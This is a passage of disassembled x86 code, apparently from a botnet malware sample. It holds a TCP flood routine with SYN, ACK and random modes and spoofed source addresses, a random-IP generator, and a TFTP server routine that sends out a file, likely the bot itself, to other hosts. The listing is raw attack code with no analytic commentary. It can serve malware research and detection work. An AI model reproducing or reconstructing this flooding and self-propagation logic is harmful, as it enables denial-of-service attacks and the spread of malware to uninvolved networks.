		mov	[ebp+74h+var_34], 0E7h
		mov	[ebp+74h+var_32], 0E8h
		mov	[ebp+74h+var_30], 0E9h
		mov	[ebp+74h+var_2E], 0EAh
		mov	[ebp+74h+var_2C], 0EBh
		mov	[ebp+74h+var_2A], 0ECh
		mov	[ebp+74h+var_28], 0EDh
		mov	[ebp+74h+var_26], 0EEh
		mov	[ebp+74h+var_24], 0EFh
		mov	[ebp+74h+var_22], 0F0h
		mov	[ebp+74h+var_20], 0F1h
		mov	[ebp+74h+var_1E], 0F2h
		mov	[ebp+74h+var_1C], 0F3h
		mov	[ebp+74h+var_1A], 0F4h
		mov	[ebp+74h+var_18], 0F5h
		mov	[ebp+74h+var_16], 0F6h
		mov	[ebp+74h+var_14], 0F7h
		mov	[ebp+74h+var_12], 0F8h
		mov	[ebp+74h+var_10], 0F9h
		mov	[ebp+74h+var_E], 0FAh
		mov	[ebp+74h+var_C], 0FBh
		mov	[ebp+74h+var_A], 0FCh
		mov	[ebp+74h+var_8], 0FDh
		mov	[ebp+74h+var_6], 0FEh
		mov	[ebp+74h+var_4], 0FFh


loc_4103ED:				; CODE XREF: sub_41013C+2BFj
		movsx	ecx, [ebp+eax*2+74h+var_E4]
		cmp	[ebp+74h+arg_0], ecx
		jz	short loc_410404
		inc	eax
		cmp	eax, 71h
		jb	short loc_4103ED
		xor	al, al


loc_4103FF:				; CODE XREF: sub_41013C+2CAj
		add	ebp, 74h
		leave
		retn
; ---------------------------------------------------------------------------


loc_410404:				; CODE XREF: sub_41013C+2B9j
		mov	al, 1
		jmp	short loc_4103FF
sub_41013C	endp


; =============== S U B	R O U T	I N E =======================================



sub_410408	proc near		; CODE XREF: sub_41046C+1B9p
		push	ebx
		push	esi
		push	edi
		call	sub_412D71
		mov	edi, 0FFh
		jmp	short loc_41041C
; ---------------------------------------------------------------------------


loc_410417:				; CODE XREF: sub_410408+24j
		call	sub_412D71


loc_41041C:				; CODE XREF: sub_410408+Dj
		cdq
		mov	ecx, edi
		idiv	ecx
		mov	esi, edx
		push	esi
		call	sub_41013C
		test	al, al
		pop	ecx
		jnz	short loc_410417
		call	sub_412D71
		cdq
		mov	edi, 100h
		mov	ecx, edi
		idiv	ecx
		mov	ebx, edx
		call	sub_412D71
		cdq
		idiv	edi
		mov	edi, edx
		call	sub_412D71
		cdq
		mov	ecx, 0FEh
		idiv	ecx
		mov	eax, edx
		inc	eax
		shl	eax, 8
		add	eax, edi
		shl	eax, 8
		add	eax, ebx
		shl	eax, 8
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebx
		retn
sub_410408	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41046C	proc near		; DATA XREF: sub_4078FA+4F6Do

var_13B0	= word ptr -13B0h
var_BE0		= byte ptr -0BE0h
var_BDF		= byte ptr -0BDFh
var_BCC		= byte ptr -0BCCh
var_BC0		= byte ptr -0BC0h
var_BB8		= byte ptr -0BB8h
var_410		= byte ptr -410h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= word ptr -5Eh
var_5C		= byte ptr -5Ch
var_48		= qword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 13B0h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		and	[ebp+var_BE0], 0
		push	ebx
		push	esi
		push	edi
		mov	ebx, ds:dword_41F004
		mov	esi, eax
		push	6Ah
		pop	ecx
		lea	edi, [ebp+var_210]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+1A4h], esi
		xor	eax, eax
		mov	ecx, 1F3h
		lea	edi, [ebp+var_BDF]
		rep stosd
		stosw
		stosb
		call	ebx
		push	eax
		call	sub_412D64
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4334A0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		jnz	short loc_410535
		call	dword_433558
		push	eax
		lea	eax, [ebp+var_410]
		push	offset aTcpErrorSocket ; "[TCP]: Error:	socket() failed, returned"...
		push	eax
		call	sub_412BB5
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_70], esi
		jnz	short loc_410516


loc_4104F6:				; CODE XREF: sub_41046C+5B1j
		push	esi
		push	[ebp+var_74]
		lea	eax, [ebp+var_410]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_210]
		call	sub_4045DD
		add	esp, 14h


loc_410516:				; CODE XREF: sub_41046C+88j
					; sub_41046C+5ABj
		lea	eax, [ebp+var_410]
		push	eax
		call	sub_401C33
		push	[ebp+var_8C]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_4109DB
; ---------------------------------------------------------------------------


loc_410535:				; CODE XREF: sub_41046C+66j
		push	4
		lea	ecx, [ebp+var_38]
		push	ecx
		push	2
		xor	edi, edi
		push	edi
		push	eax
		mov	[ebp+var_38], esi
		call	dword_4334BC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410578
		call	dword_433558
		push	eax
		lea	eax, [ebp+var_410]
		push	offset aTcpErrorSetsoc ; "[TCP]: Error:	setsockopt() failed, retu"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_41056A:				; CODE XREF: sub_41046C+131j
		cmp	[ebp+var_70], edi
		jnz	loc_4109C1
		jmp	loc_4109A1
; ---------------------------------------------------------------------------


loc_410578:				; CODE XREF: sub_41046C+E1j
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_433514
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41059F
		lea	eax, [ebp+var_410]
		push	offset aTcpInvalidTarg ; "[TCP]: Invalid target	IP."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_41056A
; ---------------------------------------------------------------------------


loc_41059F:				; CODE XREF: sub_41046C+11Cj
		xor	eax, eax
		lea	edi, [ebp+var_48]
		stosd
		stosd
		stosd
		stosd
		xor	edi, edi
		push	edi
		mov	word ptr [ebp+var_48], 2
		call	dword_4335EC
		mov	word ptr [ebp+var_48+2], ax
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_433514
		mov	dword ptr [ebp+var_48+4], eax
		mov	[ebp+arg_0], edi
		call	ebx
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], 45h
		mov	[ebp+var_2C], si
		mov	[ebp+var_2A], di
		mov	[ebp+var_27], 6
		call	ebx
		sub	eax, [ebp+var_34]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_7C]
		ja	loc_410956
		and	[ebp+var_60], 0
		mov	byte ptr [ebp+var_8], 50h
		mov	word ptr [ebp+var_8+6],	di
		mov	[ebp+var_5F], 6


loc_41060A:				; CODE XREF: sub_41046C+4E4j
		call	sub_412D71
		cdq
		mov	ecx, 80h
		idiv	ecx
		mov	[ebp+var_26], di
		add	dl, cl
		cmp	[ebp+var_78], edi
		mov	[ebp+var_28], dl
		jz	short loc_41062C
		call	sub_410408
		jmp	short loc_41063F
; ---------------------------------------------------------------------------


loc_41062C:				; CODE XREF: sub_41046C+1B7j
		push	[ebp+var_210]
		call	sub_406C33
		pop	ecx
		push	eax
		call	dword_433514


loc_41063F:				; CODE XREF: sub_41046C+1BEj
		cmp	[ebp+var_80], edi
		mov	[ebp+var_24], eax
		jz	short loc_41066F
		call	sub_412D71
		mov	esi, eax
		call	sub_412D71
		add	eax, esi
		cdq
		idiv	[ebp+var_80]
		push	dword ptr [ebp+var_48+4]
		mov	esi, edx
		call	dword_433570
		add	eax, esi
		push	eax
		call	dword_4335C4
		jmp	short loc_410672
; ---------------------------------------------------------------------------


loc_41066F:				; CODE XREF: sub_41046C+1D9j
		mov	eax, dword ptr [ebp+var_48+4]


loc_410672:				; CODE XREF: sub_41046C+201j
		cmp	[ebp+var_88], edi
		mov	[ebp+var_20], eax
		jnz	short loc_4106BE
		call	sub_412D71
		mov	esi, eax
		inc	esi
		call	sub_412D71
		cdq
		idiv	esi
		push	ecx
		push	ecx
		mov	[ebp+var_1C], eax
		fild	[ebp+var_1C]
		fstp	[esp+8+var_8]
		call	sub_414670
		pop	ecx
		pop	ecx
		call	sub_414794
		mov	esi, eax
		call	sub_412D71
		add	eax, esi
		cdq
		mov	ecx, 0FBFEh
		idiv	ecx
		add	edx, 401h
		push	edx
		jmp	short loc_4106C4
; ---------------------------------------------------------------------------


loc_4106BE:				; CODE XREF: sub_41046C+20Fj
		push	[ebp+var_88]


loc_4106C4:				; CODE XREF: sub_41046C+250j
		call	dword_4335EC
		cmp	[ebp+var_84], edi
		mov	[ebp+var_12], ax
		jnz	short loc_410717
		call	sub_412D71
		mov	esi, eax
		inc	esi
		call	sub_412D71
		cdq
		idiv	esi
		push	ecx
		push	ecx
		mov	[ebp+var_1C], eax
		fild	[ebp+var_1C]
		fstp	[esp+8+var_8]
		call	sub_414670
		pop	ecx
		pop	ecx
		call	sub_414794
		mov	esi, eax
		call	sub_412D71
		add	eax, esi
		cdq
		mov	ecx, 0FBFEh
		idiv	ecx
		add	edx, 401h
		push	edx
		jmp	short loc_41071D
; ---------------------------------------------------------------------------


loc_410717:				; CODE XREF: sub_41046C+268j
		push	[ebp+var_84]


loc_41071D:				; CODE XREF: sub_41046C+2A9j
		call	dword_4335EC
		mov	[ebp+var_14], ax
		call	sub_412D71
		cdq
		mov	esi, 100h
		mov	ecx, esi
		idiv	ecx
		mov	ebx, edx
		shl	ebx, 8
		call	sub_412D71
		cdq
		mov	ecx, esi
		idiv	ecx
		add	ebx, edx
		shl	ebx, 8
		call	sub_412D71
		cdq
		mov	ecx, esi
		idiv	ecx
		add	ebx, edx
		shl	ebx, 8
		call	sub_412D71
		cdq
		idiv	esi
		add	ebx, edx
		mov	[ebp+var_10], ebx
		call	sub_412D71
		shl	eax, 1
		cdq
		mov	ecx, 578h
		idiv	ecx
		lea	eax, [ebp+var_18C]
		push	offset aSyn_0	; "syn"
		push	eax
		mov	ebx, edx
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_410797
		mov	[ebp+var_C], edi
		mov	byte ptr [ebp+var_8+1],	2
		jmp	short loc_410809
; ---------------------------------------------------------------------------


loc_410797:				; CODE XREF: sub_41046C+320j
		lea	eax, [ebp+var_18C]
		push	offset aAck	; "ack"
		push	eax
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4107C3
		call	sub_412D71
		mov	esi, eax
		shl	esi, 10h
		call	sub_412D71
		mov	byte ptr [ebp+var_8+1],	18h
		jmp	short loc_410804
; ---------------------------------------------------------------------------


loc_4107C3:				; CODE XREF: sub_41046C+340j
		lea	eax, [ebp+var_18C]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_410809
		call	sub_412D71
		push	2
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_4107F1
		mov	byte ptr [ebp+var_8+1],	cl
		mov	[ebp+var_C], edi
		jmp	short loc_410809
; ---------------------------------------------------------------------------


loc_4107F1:				; CODE XREF: sub_41046C+37Bj
		mov	byte ptr [ebp+var_8+1],	18h
		call	sub_412D71
		mov	esi, eax
		shl	esi, 10h
		call	sub_412D71


loc_410804:				; CODE XREF: sub_41046C+355j
		or	esi, eax
		mov	[ebp+var_C], esi


loc_410809:				; CODE XREF: sub_41046C+329j
					; sub_41046C+36Cj ...
		lea	eax, [ebx+28h]
		push	eax
		call	dword_4335EC
		push	2000h
		mov	[ebp+var_2E], ax
		call	dword_4335EC
		mov	word ptr [ebp+var_8+2],	ax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_68], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		lea	eax, [ebx+14h]
		push	eax
		mov	word ptr [ebp+var_8+4],	di
		call	dword_4335EC
		mov	[ebp+var_5E], ax
		mov	eax, ebx
		cdq
		sub	eax, edx
		mov	esi, eax
		sar	esi, 1
		cmp	esi, edi
		jle	short loc_410863


loc_410851:				; CODE XREF: sub_41046C+3F5j
		call	sub_412D71
		mov	[ebp+edi*2+var_13B0], ax
		inc	edi
		cmp	edi, esi
		jl	short loc_410851


loc_410863:				; CODE XREF: sub_41046C+3E3j
		push	5
		pop	ecx
		push	8
		lea	esi, [ebp+var_14]
		lea	edi, [ebp+var_5C]
		rep movsd
		pop	ecx
		lea	esi, [ebp+var_68]
		lea	edi, [ebp+var_BE0]
		rep movsd
		mov	ecx, ebx
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_13B0]
		lea	edi, [ebp+var_BC0]
		rep movsd
		mov	ecx, eax
		lea	eax, [ebx+20h]
		push	eax
		lea	eax, [ebp+var_BE0]
		and	ecx, 3
		push	eax
		rep movsb
		call	sub_406C89
		push	5
		pop	ecx
		push	5
		mov	word ptr [ebp+var_8+4],	ax
		lea	esi, [ebp+var_30]
		lea	edi, [ebp+var_BE0]
		rep movsd
		pop	ecx
		lea	esi, [ebp+var_14]
		lea	edi, [ebp+var_BCC]
		rep movsd
		mov	ecx, ebx
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_13B0]
		lea	edi, [ebp+var_BB8]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax
		lea	edi, [ebp+ebx+var_BB8]
		stosd
		add	ebx, 28h
		lea	eax, [ebp+var_BE0]
		push	ebx
		push	eax
		call	sub_406C89
		add	esp, 10h
		push	5
		pop	ecx
		push	10h
		mov	[ebp+var_26], ax
		lea	esi, [ebp+var_30]
		lea	edi, [ebp+var_BE0]
		lea	eax, [ebp+var_48]
		push	eax
		rep movsd
		xor	esi, esi
		push	esi
		push	ebx
		lea	eax, [ebp+var_BE0]
		push	eax
		push	[ebp+var_18]
		call	dword_433470
		cmp	eax, 0FFFFFFFFh
		jz	loc_4109E1
		inc	[ebp+arg_0]
		call	ds:dword_41F004
		sub	eax, [ebp+var_34]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edi, edi
		cmp	eax, [ebp+var_7C]
		jbe	loc_41060A


loc_410956:				; CODE XREF: sub_41046C+188j
		push	[ebp+var_18]
		call	dword_4335AC
		mov	eax, [ebp+arg_0]
		imul	eax, 7D0h
		mov	ecx, eax
		shr	eax, 0Ah
		xor	edx, edx
		div	[ebp+var_7C]
		shr	ecx, 14h
		push	ecx
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_410]
		push	offset aTcpDoneWithSFl ; "[TCP]: Done with %s flood to IP: %s. Se"...
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		cmp	[ebp+var_70], edi
		jnz	short loc_4109C1


loc_4109A1:				; CODE XREF: sub_41046C+107j
		push	edi
		push	[ebp+var_74]
		lea	eax, [ebp+var_410]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_210]
		call	sub_4045DD
		add	esp, 14h


loc_4109C1:				; CODE XREF: sub_41046C+101j
					; sub_41046C+533j
		lea	eax, [ebp+var_410]
		push	eax
		call	sub_401C33
		push	[ebp+var_8C]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	edi


loc_4109DB:				; CODE XREF: sub_41046C+C4j
		call	ds:dword_41F014


loc_4109E1:				; CODE XREF: sub_41046C+4C4j
		push	[ebp+var_18]
		call	dword_4335AC
		call	dword_433558
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20C]
		push	eax
		push	offset aTcpErrorSendin ; "[TCP]: Error sending packets to IP: %s."...
		lea	eax, [ebp+var_410]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 18h
		cmp	[ebp+var_70], esi
		jnz	loc_410516
		jmp	loc_4104F6
sub_41046C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_410A22	proc near		; CODE XREF: sub_410A22:loc_410EDBp
					; DATA XREF: sub_401141+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 884h
		mov	edx, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+74h+var_1C]
		movsd
		movsw
		xor	ebx, ebx
		push	ebx
		xor	eax, eax
		inc	eax
		mov	esi, edx
		push	2
		mov	ecx, 0A9h
		lea	edi, [ebp+74h+var_37C]
		rep movsd
		inc	[ebp+74h+var_16C]
		push	2
		mov	[ebp+74h+var_10], eax
		mov	[edx+2A0h], eax
		call	dword_4334A0
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+74h+var_4], esi
		jnz	short loc_410ADE
		push	190h
		call	ds:dword_41F000
		call	dword_433558
		push	eax
		lea	eax, [ebp+74h+var_780]
		push	offset aTftpErrorSocke ; "[TFTP]: Error: socket() failed, returne"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+74h+var_E0], ebx
		jnz	short loc_410AC1
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_4045DD
		add	esp, 14h


loc_410AC1:				; CODE XREF: sub_410A22+7Dj
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401C33
		push	[ebp+74h+var_170]
		call	sub_4111AE
		pop	ecx
		jmp	loc_410EC7
; ---------------------------------------------------------------------------


loc_410ADE:				; CODE XREF: sub_410A22+52j
		mov	eax, [ebp+74h+var_170]
		push	[ebp+74h+var_168]
		imul	eax, 234h
		mov	dword_434344[eax], esi
		xor	eax, eax
		lea	edi, [ebp+74h+var_44]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_44], 2
		call	dword_4335EC
		mov	[ebp+74h+var_42], ax
		push	10h
		lea	eax, [ebp+74h+var_44]
		push	eax
		push	esi
		mov	[ebp+74h+var_40], ebx
		call	dword_433578
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410B3D
		push	1388h
		call	ds:dword_41F000
		dec	[ebp+74h+var_16C]
		push	[ebp+74h+arg_0]
		jmp	loc_410EDB
; ---------------------------------------------------------------------------


loc_410B3D:				; CODE XREF: sub_410A22+100j
		lea	eax, [ebp+74h+var_378]
		push	offset dword_41F968
		push	eax
		call	sub_413393
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+74h+var_8], eax
		jnz	short loc_410BB6
		push	190h
		call	ds:dword_41F000
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_780]
		push	offset aTftpFailedToOp ; "[TFTP]: Failed to open file: %s."
		push	eax
		call	sub_412BB5
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_4045DD
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401C33
		push	[ebp+74h+var_170]
		call	sub_4111AE
		add	esp, 28h
		jmp	loc_410EC8
; ---------------------------------------------------------------------------


loc_410BB6:				; CODE XREF: sub_410A22+133j
		mov	esi, 200h


loc_410BBB:				; CODE XREF: sub_410A22+471j
		mov	edi, [ebp+74h+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_410E9C
		mov	eax, [ebp+74h+var_4]
		push	20h
		pop	ecx
		mov	[ebp+74h+var_880], eax
		xor	eax, eax
		lea	edi, [ebp+74h+var_D8]
		rep stosd
		lea	eax, [ebp+74h+var_34]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_884]
		push	eax
		push	ebx
		mov	[ebp+74h+var_34], 5
		mov	[ebp+74h+var_30], 1388h
		mov	[ebp+74h+var_884], 1
		call	dword_433544
		test	eax, eax
		jle	loc_410E90
		xor	eax, eax
		mov	edx, 80h
		mov	[ebp+74h+var_580], bl
		mov	ecx, edx
		lea	edi, [ebp+74h+var_57F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	edx
		lea	eax, [ebp+74h+var_D8]
		push	eax
		push	[ebp+74h+var_4]
		mov	[ebp+74h+var_C], 10h
		call	dword_433438
		push	[ebp+74h+var_28]
		mov	[ebp+74h+var_10], eax
		call	dword_433520
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		call	sub_412BB5
		cmp	[ebp+74h+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_410E78
		cmp	[ebp+74h+var_D7], 1
		jnz	loc_410DD3
		lea	eax, [ebp+74h+var_274]
		lea	edx, [eax+1]


loc_410C7D:				; CODE XREF: sub_410A22+260j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_410C7D
		sub	eax, edx
		mov	[ebp+74h+var_14], eax
		lea	eax, [ebp+74h+var_274]
		lea	edi, [eax+1]


loc_410C92:				; CODE XREF: sub_410A22+275j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_410C92
		sub	eax, edi
		push	eax
		lea	eax, [ebp+74h+var_D6]
		push	eax
		lea	eax, [ebp+74h+var_274]
		push	eax
		call	sub_414380
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_410D91
		lea	eax, [ebp+74h+var_1C]
		lea	edx, [eax+1]


loc_410CBD:				; CODE XREF: sub_410A22+2A0j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_410CBD
		sub	eax, edx
		push	eax
		mov	eax, [ebp+74h+var_14]
		lea	eax, [ebp+eax+74h+var_D5]
		push	eax
		lea	eax, [ebp+74h+var_1C]
		push	eax
		call	sub_414380
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_410D91
		push	ebx
		push	ebx
		push	[ebp+74h+var_8]
		call	sub_414898
		push	[ebp+74h+var_8]
		lea	eax, [ebp+74h+var_57C]
		push	esi
		push	1
		push	eax
		mov	[ebp+74h+var_580], bl
		mov	[ebp+74h+var_57F], 3
		mov	[ebp+74h+var_57E], bl
		mov	[ebp+74h+var_57D], 1
		call	sub_41313E
		add	esp, 1Ch
		push	[ebp+74h+var_C]
		lea	ecx, [ebp+74h+var_2C]
		push	ecx
		mov	[ebp+74h+var_10], eax
		push	ebx
		add	eax, 4
		push	eax
		lea	eax, [ebp+74h+var_580]
		push	eax
		push	[ebp+74h+var_4]
		call	dword_433470
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	started	to IP: %s"...


loc_410D4B:				; CODE XREF: sub_410A22+451j
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+74h+var_E0], ebx
		jnz	short loc_410D7F
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_4045DD
		add	esp, 14h


loc_410D7F:				; CODE XREF: sub_410A22+33Bj
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401C33
		pop	ecx
		jmp	loc_410E90
; ---------------------------------------------------------------------------


loc_410D91:				; CODE XREF: sub_410A22+28Fj
					; sub_410A22+2BBj
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42734C
		push	[ebp+74h+var_4]
		call	dword_433470
		lea	eax, [ebp+74h+var_274]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		lea	eax, [ebp+74h+var_D8]
		push	offset aTftpFileNotFou ; "[TFTP]: File not found: %s (%s)."
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+74h+var_D8]
		push	eax
		call	sub_401C33
		add	esp, 14h
		jmp	loc_410E90
; ---------------------------------------------------------------------------


loc_410DD3:				; CODE XREF: sub_410A22+24Cj
		cmp	[ebp+74h+var_D7], 4
		jnz	loc_410E78
		mov	cl, [ebp+74h+var_D5]
		cmp	cl, 0FFh
		mov	al, [ebp+74h+var_D6]
		mov	[ebp+74h+var_580], bl
		mov	[ebp+74h+var_57F], 3
		jnz	short loc_410E01
		inc	al
		xor	cl, cl
		mov	[ebp+74h+var_57D], bl
		jmp	short loc_410E09
; ---------------------------------------------------------------------------


loc_410E01:				; CODE XREF: sub_410A22+3D1j
		inc	cl
		mov	[ebp+74h+var_57D], cl


loc_410E09:				; CODE XREF: sub_410A22+3DDj
		mov	[ebp+74h+var_57E], al
		movzx	eax, al
		shl	eax, 8
		movzx	ecx, cl
		add	eax, ecx
		shl	eax, 9
		push	ebx
		sub	eax, esi
		push	eax
		push	[ebp+74h+var_8]
		call	sub_414898
		push	[ebp+74h+var_8]
		lea	eax, [ebp+74h+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_41313E
		add	esp, 1Ch
		push	[ebp+74h+var_C]
		mov	edi, eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		lea	eax, [edi+4]
		push	eax
		lea	eax, [ebp+74h+var_580]
		push	eax
		push	[ebp+74h+var_4]
		mov	[ebp+74h+var_10], edi
		call	dword_433470
		cmp	edi, ebx
		jnz	short loc_410E90
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		push	offset aTftpFileTran_0 ; "[TFTP]: File transfer	complete to IP:	%"...
		jmp	loc_410D4B
; ---------------------------------------------------------------------------


loc_410E78:				; CODE XREF: sub_410A22+242j
					; sub_410A22+3B5j
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_4272EC
		push	[ebp+74h+var_4]
		call	dword_433470


loc_410E90:				; CODE XREF: sub_410A22+1E9j
					; sub_410A22+36Aj ...
		cmp	[ebp+74h+var_10], ebx
		jg	loc_410BBB
		mov	edi, [ebp+74h+arg_0]


loc_410E9C:				; CODE XREF: sub_410A22+1A2j
		push	[ebp+74h+var_4]
		call	dword_4335AC
		push	[ebp+74h+var_8]
		call	sub_412F93
		dec	[ebp+74h+var_16C]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_410ECF
		push	[ebp+74h+var_170]
		call	sub_4111AE


loc_410EC7:				; CODE XREF: sub_410A22+B7j
		pop	ecx


loc_410EC8:				; CODE XREF: sub_410A22+18Fj
		push	ebx
		call	ds:dword_41F014


loc_410ECF:				; CODE XREF: sub_410A22+498j
		push	3E8h
		call	ds:dword_41F000
		push	edi


loc_410EDB:				; CODE XREF: sub_410A22+116j
		call	sub_410A22
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
sub_410A22	endp


; =============== S U B	R O U T	I N E =======================================



sub_410EEA	proc near		; CODE XREF: sub_401141+F0p
					; sub_401141+23Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_434138


loc_410EF2:				; CODE XREF: sub_410EEA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_410F06
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_478EC8
		jl	short loc_410EF2
		jmp	short loc_410F51
; ---------------------------------------------------------------------------


loc_410F06:				; CODE XREF: sub_410EEA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_434138[esi]
		push	eax
		call	sub_412C40
